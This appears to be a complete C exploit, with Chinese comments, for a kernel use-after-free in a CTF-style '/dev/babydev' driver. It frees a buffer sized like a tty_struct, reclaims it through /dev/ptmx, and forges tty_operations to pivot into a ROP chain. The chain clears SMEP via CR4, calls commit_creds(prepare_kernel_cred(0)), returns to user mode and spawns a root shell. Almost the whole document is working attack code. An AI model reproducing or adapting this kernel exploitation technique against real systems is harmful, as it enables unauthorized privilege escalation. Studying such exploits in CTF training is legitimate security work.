//tty_struct结构体的大小
#define TTY_STRUCT_SIZE 0x2E0
//mov cr4, rdi ; pop rbp ; ret
#define MOV_CR4_RDI 0xffffffff81004d80
//pop rdi ; ret
#define POP_RDI 0xffffffff810d238d
//swapgs ; pop rbp ; ret
#define SWAPGS 0xffffffff81063694
//iretq ; ret;
#define IRETQ 0xffffffff814e35ef
//mov rsp, rax;dec ebx;ret,做栈迁移用
#define MOV_RSP_RAX 0xFFFFFFFF8181BFC5
#define POP_RAX 0xffffffff8100ce6e
size_t pkc_addr = 0xffffffff810a1810;
size_t cc_addr = 0xffffffff810a1420;
void getRoot(){
char* (*pkc)(int) = pkc_addr;
void (*cc)(char*) = cc_addr;
(*cc)((*pkc)(0));
}
void getShell() {
system("/bin/sh");
/*
if (getuid() == 0) {
printf("[+]Rooted!!\n");
system("/bin/sh");
} else {
printf("[+]Root Fail!!\n");
}
*/
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status() {
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
int main() {
//保存用户态寄存器
save_status();
int fd1 = open("/dev/babydev",O_RDWR);
int fd2 = open("/dev/babydev",O_RDWR);
if (fd1 < 0 || fd2 < 0) {
printf("open file error!!\n");
exit(-1);
}
ioctl(fd1,0x10001,TTY_STRUCT_SIZE);
close(fd1); //UAF
size_t ROP[0x100];
int i=0;
//修改cr4寄存器
ROP[i++] = POP_RDI;
ROP[i++] = 0x6f0;
ROP[i++] = MOV_CR4_RDI;
ROP[i++] = 0;
ROP[i++] = (size_t)getRoot;
ROP[i++] = SWAPGS;
ROP[i++] = 0;
ROP[i++] = IRETQ;
ROP[i++] = (size_t)getShell;
ROP[i++] = user_cs;
ROP[i++] = user_rflags;
ROP[i++] = user_sp;
ROP[i++] = user_ss;
size_t fake_tty_operations[35];
fake_tty_operations[7] = MOV_RSP_RAX;//调用write时,rax里存的是fake_tty_operations[0]的地址,所以用这条指令将栈迁移到fake_tty_operations[0]位置
fake_tty_operations[0] = POP_RAX;
fake_tty_operations[1] = (size_t)ROP;
fake_tty_operations[2] = MOV_RSP_RAX;//再次将栈迁移到ROP链的地址上
size_t fake_tty_struct[4];
int fd_tty = open("/dev/ptmx",O_RDWR);
read(fd2,fake_tty_struct,4*8);//将tty_struct前几个的值保存
fake_tty_struct[3] = (size_t)fake_tty_operations; //将tty_struct的tty_operations *ops指向我们伪造的地方
write(fd2,fake_tty_struct,4*8);
size_t buf[4] = {0};
write(fd_tty, buf,32); //调用tty_operations->write
close(fd2);
return 0;
}
至此,即可成功提权。